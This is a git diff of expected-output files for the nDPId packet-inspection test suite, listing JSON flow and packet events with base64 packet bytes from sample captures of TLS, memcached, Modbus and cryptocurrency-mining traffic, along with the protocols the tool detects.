+00407{"flow_id":5,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"malware.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569579417,"pkt_ts_usec":30065,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"CGoKOl4eMFLLbJwbCABFAAAoxfNAAEAGDITAqAcHQ9dc0omkAbvdSlzxHWnbW1AQAeRocwAA"} +01340{"flow_id":5,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"malware.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569579417,"pkt_ts_usec":30085,"pkt_caplen":744,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":744,"pkt_l4_len":710,"pkt":"MFLLbJwbCGoKOl4eCABFAALaJgVAADgGscBD11zSwKgHBwG7iaQdadtb3Upc8VAYAO3\/JwAAKOeNRji0LOHG2eICEA2S4SYiNapCCj9kLK8AtiOAABgPMjAxOTA5MjcwMTQ5MjFaoBEYDzIwMTkxMDA0MDEwNDIxWjANBgkqhkiG9w0BAQsFAAOCAQEApK6VzrjK91yb6FSVVm\/UiXJhZYa5yYF3BuSeQy4KOiWGoHzO25yWIoH0FK9P35LE\/t9kBs308fazkHhWtvw0ptjB9WpU9h7Z8SbYGMMxTBrQlgXMmEoRkKC4Dlw9WibeiBgph1pcKmDhGh\/6CX6ihWDeoj97y9FDFgP5\/liK4YTZPFFbCLKVxDvBQBBvISewRGImfBRVHuLBKXdyPdUyZZVLGsmdDYkSxveMjpUUB6xcjhskcYbz\/v76DGJG9K78Y0zEbvabxUXt\/6owRMhGHY1G7DzmxHWKvoJicIr1cR2g2TOEd0M3i6XmKuTs82Pyq5VPdsIZiwBdFj3uG2OAVBYDAwFNDAABSQMAF0EEmXhvub5TWRGO0aD\/UlMVL8UfAIdaGsni5keBBubBLyToK6+HMpJvVJMQ+UAHWSWt7qidLl12hCiIPFACyk8GRQQBAQASEWa9eLfY+l9CyIYf6hqCgMSRiAQNOrOBxQI++JmYwD1J+UaeS7A7TFEqiaUs0V+DOiY4KZl3oR+KNU4rp7L7pK\/1LveAIsG2Tt+cVDnfumD7IiyIMhmt87tDeu53rFJPsxSMdfiATBKbvqstwTOoeYM9uqj3o4MAhKo4RPWoa3WQEeWoHPMk1C1JNhZPWsf7uPfdGJWSHNnbNpVvTnmDGdR1sr8nbiL8kDvwFAu+oyqas204\/SFrslbDoenktC2QTvSxmvwpF40+U+3enpiBCM5feYjRkV8TkMU60uxNEQlKCjWc4LTk245i7xa17NwolfS+w26sCo78oYa1VcqyFgMDAAQOAAAA"} +00407{"flow_id":5,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"malware.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569579417,"pkt_ts_usec":30097,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"CGoKOl4eMFLLbJwbCABFAAAoxfRAAEAGDIPAqAcHQ9dc0omkAbvdSlzxHWneDVAQAd9ocwAA"} +00581{"flow_id":5,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"malware.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569579417,"pkt_ts_usec":39098,"pkt_caplen":180,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":180,"pkt_l4_len":146,"pkt":"CGoKOl4eMFLLbJwbCABFAACmxfVAAEAGDATAqAcHQ9dc0omkAbvdSlzxHWneDVAYAfVo8QAAFgMDAEYQAABCQQQXnDccjfVZWhqBUucdKddp1G59dDixN1oUPMNrwd\/5+g0DfHVKaOkM7PBEa\/PQ0DStvwqbgxEQhAx2pf\/kyEJVFAMDAAEBFgMDACgAAAAAAAAAAMBOO2LVRDZ5rUhBnMhKrHETxOl4WnHbkdoDiQqlhuRT"} +00451{"flow_id":5,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"malware.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569579417,"pkt_ts_usec":39640,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"CGoKOl4eMFLLbJwbCABFAABHxfZAAEAGDGLAqAcHQ9dc0omkAbvdSl1vHWneDVAZAfVokgAAFQMDABoAAAAAAAAAARyktu6aPdJhbsX8oiEa2+1Qow=="} diff --git a/test/results/memcached.cap.out b/test/results/memcached.cap.out new file mode 100644 index 000000000..de834d3d4 --- /dev/null +++ b/test/results/memcached.cap.out @@ -0,0 +1,12 @@ +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"memcached.cap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1534343745954,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":59604,"dst_port":11211,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"memcached.cap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534343745,"pkt_ts_usec":954071,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AAAAAAAAAAAAAAAACABFAAA8pT5AAEAGl3t\/AAABfwAAAejUK8sskd7QAAAAAKACqqr+MAAAAgT\/1wQCCAopIHvuAAAAAAEDAwc="} +00437{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"memcached.cap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534343745,"pkt_ts_usec":954090,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AAAAAAAAAAAAAAAACABFAAA8AABAAEAGPLp\/AAABfwAAASvL6NTLJnx6LJHe0aASqqr+MAAAAgT\/1wQCCAopIHvuKSB77gEDAwc="} +00424{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"memcached.cap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534343745,"pkt_ts_usec":954104,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA0pT9AAEAGl4J\/AAABfwAAAejUK8sskd7RyyZ8e4AQAVb+KAAAAQEICikge+4pIHvu"} +00436{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"memcached.cap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534343745,"pkt_ts_usec":954230,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"AAAAAAAAAAAAAAAACABFAAA7pUBAAEAGl3p\/AAABfwAAAejUK8sskd7RyyZ8e4AYAVb+LwAAAQEICikge+4pIHvuc3RhdHMNCg=="} +00424{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"memcached.cap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534343745,"pkt_ts_usec":954238,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA0B5VAAEAGNS1\/AAABfwAAASvL6NTLJnx7LJHe2IAQAVb+KAAAAQEICikge+4pIHvu"} +01802{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"memcached.cap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534343745,"pkt_ts_usec":954346,"pkt_caplen":1094,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1094,"pkt_l4_len":1060,"pkt":"AAAAAAAAAAAAAAAACABFAAQ4B5ZAAEAGMSh\/AAABfwAAASvL6NTLJnx7LJHe2IAYAVYCLQAAAQEICikge+4pIHvuU1RBVCBwaWQgODgzNw0KU1RBVCB1cHRpbWUgMTkzDQpTVEFUIHRpbWUgMTUzNDM0Mzc0NA0KU1RBVCB2ZXJzaW9uIDEuNC4xNQ0KU1RBVCBsaWJldmVudCAyLjAuMjEtc3RhYmxlDQpTVEFUIHBvaW50ZXJfc2l6ZSA2NA0KU1RBVCBydXNhZ2VfdXNlciAwLjAwNTM4Mg0KU1RBVCBydXNhZ2Vfc3lzdGVtIDAuMDA2MjgwDQpTVEFUIGN1cnJfY29ubmVjdGlvbnMgMTANClNUQVQgdG90YWxfY29ubmVjdGlvbnMgMTMNClNUQVQgY29ubmVjdGlvbl9zdHJ1Y3R1cmVzIDExDQpTVEFUIHJlc2VydmVkX2ZkcyAyMA0KU1RBVCBjbWRfZ2V0IDANClNUQVQgY21kX3NldCAwDQpTVEFUIGNtZF9mbHVzaCAwDQpTVEFUIGNtZF90b3VjaCAwDQpTVEFUIGdldF9oaXRzIDANClNUQVQgZ2V0X21pc3NlcyAwDQpTVEFUIGRlbGV0ZV9taXNzZXMgMA0KU1RBVCBkZWxldGVfaGl0cyAwDQpTVEFUIGluY3JfbWlzc2VzIDANClNUQVQgaW5jcl9oaXRzIDANClNUQVQgZGVjcl9taXNzZXMgMA0KU1RBVCBkZWNyX2hpdHMgMA0KU1RBVCBjYXNfbWlzc2VzIDANClNUQVQgY2FzX2hpdHMgMA0KU1RBVCBjYXNfYmFkdmFsIDANClNUQVQgdG91Y2hfaGl0cyAwDQpTVEFUIHRvdWNoX21pc3NlcyAwDQpTVEFUIGF1dGhfY21kcyAwDQpTVEFUIGF1dGhfZXJyb3JzIDANClNUQVQgYnl0ZXNfcmVhZCAyMQ0KU1RBVCBieXRlc193cml0dGVuIDIwNTENClNUQVQgbGltaXRfbWF4Ynl0ZXMgNjcxMDg4NjQNClNUQVQgYWNjZXB0aW5nX2Nvbm5zIDENClNUQVQgbGlzdGVuX2Rpc2FibGVkX251bSAwDQpTVEFUIHRocmVhZHMgNA0KU1RBVCBjb25uX3lpZWxkcyAwDQpTVEFUIGhhc2hfcG93ZXJfbGV2ZWwgMTYNClNUQVQgaGFzaF9ieXRlcyA1MjQyODgNClNUQVQgaGFzaF9pc19leHBhbmRpbmcgMA0KU1RBVCBieXRlcyAwDQpTVEFUIGN1cnJfaXRlbXMgMA0KU1RBVCB0b3RhbF9pdGVtcyAwDQpTVEFUIGV4cGlyZWRfdW5mZXRjaGVkIDANClNUQVQgZXZpY3RlZF91bmZldGNoZWQgMA0KU1RBVCBldmljdGlvbnMgMA0KU1RBVCByZWNsYWltZWQgMA0KRU5EDQo="} +00522{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6,"source":"memcached.cap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1534343745954,"flow_last_seen":1534343745954,"flow_tot_l4_data_len":1243,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1060,"flow_avg_l4_data_len":207,"midstream":0,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":59604,"dst_port":11211,"l4_proto":"tcp","ndpi": {"proto":"Memcached","breed":"Acceptable","category":"Network"}} +00424{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"memcached.cap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534343745,"pkt_ts_usec":954387,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA0pUFAAEAGl4B\/AAABfwAAAejUK8sskd7YyyaAf4AQAWb+KAAAAQEICikge+4pIHvu"} +00424{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"memcached.cap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534343745,"pkt_ts_usec":954689,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA0pUJAAEAGl39\/AAABfwAAAejUK8sskd7YyyaAf4ARAWb+KAAAAQEICikge+4pIHvu"} +00425{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"memcached.cap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534343745,"pkt_ts_usec":954737,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA0B5dAAEAGNSt\/AAABfwAAASvL6NTLJoB\/LJHe2YARAVb+KAAAAQEICikge+4pIHvu"} +00426{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"memcached.cap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534343745,"pkt_ts_usec":954749,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA0pUNAAEAGl35\/AAABfwAAAejUK8sskd7ZyyaAgIAQAWb+KAAAAQEICikge+4pIHvu"} diff --git a/test/results/modbus.pcap.out b/test/results/modbus.pcap.out new file mode 100644 index 000000000..a3acaaabe --- /dev/null +++ b/test/results/modbus.pcap.out @@ -0,0 +1,17 @@ +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"modbus.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1223541953927,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.110.131","dst_ip":"192.168.110.138","src_port":2074,"dst_port":502,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"modbus.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1223541953,"pkt_ts_usec":927963,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABzAX0kKAArkxYMKCABFAAA0i\/1AAIAGEGjAqG6DwKhuiggaAfZB0urG4RU6zlAY\/MYAMgAAANEAAAAGAQMAAQAB"} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"modbus.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1223541953927,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.110.131","dst_ip":"192.168.110.138","src_port":2074,"dst_port":502,"l4_proto":"tcp","ndpi": {"proto":"Modbus","breed":"Acceptable","category":"IoT-Scada"}} +00422{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"modbus.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1223541953,"pkt_ts_usec":929098,"pkt_caplen":65,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":65,"pkt_l4_len":31,"pkt":"AArkxYMKABzAX0kKCABFAAAzO9pAAIAGYIzAqG6KwKhugwH2CBrhFTrOQdLq0lAY++v\/BAAAANEAAAAFAQMCAAA="} +00423{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"modbus.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1223541953,"pkt_ts_usec":929171,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABzAX0kKAArkxYMKCABFAAA0i\/5AAIAGEGfAqG6DwKhuiggaAfZB0urS4RU62VAY\/LsAJgAAANIAAAAGAQMAAAAB"} +00421{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"modbus.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1223541953,"pkt_ts_usec":930003,"pkt_caplen":65,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":65,"pkt_l4_len":31,"pkt":"AArkxYMKABzAX0kKCABFAAAzO9tAAIAGYIvAqG6KwKhugwH2CBrhFTrZQdLq3lAY+982twAAANIAAAAFAQMCQcg="} +00422{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"modbus.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1223541954,"pkt_ts_usec":942774,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABzAX0kKAArkxYMKCABFAAA0jABAAIAGEGXAqG6DwKhuiggaAfZB0ure4RU65FAY\/LAAGAAAANMAAAAGAQMAAQAB"} +00422{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"modbus.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1223541954,"pkt_ts_usec":944214,"pkt_caplen":65,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":65,"pkt_l4_len":31,"pkt":"AArkxYMKABzAX0kKCABFAAAzO\/hAAIAGYG7AqG6KwKhugwH2CBrhFTrkQdLq6lAY+9P+7AAAANMAAAAFAQMCAAA="} +00422{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"modbus.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1223541954,"pkt_ts_usec":944313,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABzAX0kKAArkxYMKCABFAAA0jAFAAIAGEGTAqG6DwKhuiggaAfZB0urq4RU671AY\/KUADAAAANQAAAAGAQMAAAAB"} +00422{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"modbus.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1223541954,"pkt_ts_usec":945105,"pkt_caplen":65,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":65,"pkt_l4_len":31,"pkt":"AArkxYMKABzAX0kKCABFAAAzO\/lAAIAGYG3AqG6KwKhugwH2CBrhFTrvQdLq9lAY+8c2nwAAANQAAAAFAQMCQcg="} +00424{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"modbus.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1223541955,"pkt_ts_usec":930829,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABzAX0kKAArkxYMKCABFAAA0jARAAIAGEGHAqG6DwKhuiggaAfZB0ur24RU6+lAY\/Jr\/\/QAAANUAAAAGAQMAAQAB"} +00424{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"modbus.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1223541955,"pkt_ts_usec":931978,"pkt_caplen":65,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":65,"pkt_l4_len":31,"pkt":"AArkxYMKABzAX0kKCABFAAAzPBdAAIAGYE\/AqG6KwKhugwH2CBrhFTr6QdLrAlAY+7v+1AAAANUAAAAFAQMCAAA="} +00426{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"modbus.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1223541955,"pkt_ts_usec":932046,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABzAX0kKAArkxYMKCABFAAA0jAVAAIAGEGDAqG6DwKhuiggaAfZB0usC4RU7BVAY\/I\/\/8QAAANYAAAAGAQMAAAAB"} +00423{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"modbus.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1223541955,"pkt_ts_usec":932878,"pkt_caplen":65,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":65,"pkt_l4_len":31,"pkt":"AArkxYMKABzAX0kKCABFAAAzPBhAAIAGYE7AqG6KwKhugwH2CBrhFTsFQdLrDlAY+682hwAAANYAAAAFAQMCQcg="} +00425{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"modbus.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1223541956,"pkt_ts_usec":932270,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABzAX0kKAArkxYMKCABFAAA0jAdAAIAGEF7AqG6DwKhuiggaAfZB0usO4RU7EFAY\/IT\/4wAAANcAAAAGAQMAAQAB"} +00423{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"modbus.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1223541956,"pkt_ts_usec":933391,"pkt_caplen":65,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":65,"pkt_l4_len":31,"pkt":"AArkxYMKABzAX0kKCABFAAAzPDRAAIAGYDLAqG6KwKhugwH2CBrhFTsQQdLrGlAY+6P+vAAAANcAAAAFAQMCAAA="} +00425{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"modbus.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1223541956,"pkt_ts_usec":933457,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABzAX0kKAArkxYMKCABFAAA0jAhAAIAGEF3AqG6DwKhuiggaAfZB0usa4RU7G1AY\/Hn\/1wAAANgAAAAGAQMAAAAB"} diff --git a/test/results/monero.pcap.out b/test/results/monero.pcap.out new file mode 100644 index 000000000..ed2d5ba6f --- /dev/null +++ b/test/results/monero.pcap.out @@ -0,0 +1,34 @@ +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"monero.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1514196188350,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.148","dst_ip":"94.23.199.191","src_port":46838,"dst_port":3333,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196188,"pkt_ts_usec":350524,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"fmgbW\/gUcIXCQ0+iCABFAAA8e7pAAEAG1e7AqAKUXhfHv7b2DQVL2\/baAAAAAKACchDZewAAAgQFtAQCCAocofANAAAAAAEDAwc="} +00435{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196188,"pkt_ts_usec":430828,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"cIXCQ0+ifmgbW\/gUCABF4AA8AABAADEGX8leF8e\/wKgClA0FtvbB2Ar1S9v226AScSCYUwAAAgQFtAQCCArnhI20HKHwDQEDAwc="} +00423{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196188,"pkt_ts_usec":430849,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"fmgbW\/gUcIXCQ0+iCABFAAA0e7tAAEAG1fXAqAKUXhfHv7b2DQVL2\/bbwdgK9oAQAOU3CgAAAQEIChyh8F7nhI20"} +00558{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196188,"pkt_ts_usec":430950,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"fmgbW\/gUcIXCQ0+iCABFAACWe7xAAEAG1ZLAqAKUXhfHv7b2DQVL2\/bbwdgK9oAYAOVlowAAAQEIChyh8F7nhI20eyJpZCI6MSwibWV0aG9kIjoibWluaW5nLnN1YnNjcmliZSIsInBhcmFtcyI6WyJFV0JGIDAuMy40YiIsbnVsbCwiZXUxLXpjYXNoLmZseXBvb2wub3JnIiwiMzMzMyJdfQo="} +00554{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"monero.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1514196188350,"flow_last_seen":1514196188430,"flow_tot_l4_data_len":242,"flow_min_l4_data_len":32,"flow_max_l4_data_len":130,"flow_avg_l4_data_len":60,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.148","dst_ip":"94.23.199.191","src_port":46838,"dst_port":3333,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00423{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196188,"pkt_ts_usec":514006,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"cIXCQ0+ifmgbW\/gUCABF4AA0hz5AADEG2JJeF8e\/wKgClA0FtvbB2Ar2S9v3PYAQAOM2lgAAAQEICueEjcgcofBe"} +00509{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"monero.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1514196188,"pkt_ts_usec":514019,"pkt_caplen":128,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":128,"pkt_l4_len":94,"pkt":"cIXCQ0+ifmgbW\/gUCABF4AByhz9AADEG2FNeF8e\/wKgClA0FtvbB2Ar2S9v3PYAYAON+EwAAAQEICueEjcgcofBeeyJpZCI6MSwicmVzdWx0IjpbIjA0ZDU2N2IyMTIiLCAiMDRkNTY3YjIxMiJdLCAiZXJyb3IiOiBudWxsfQo="} 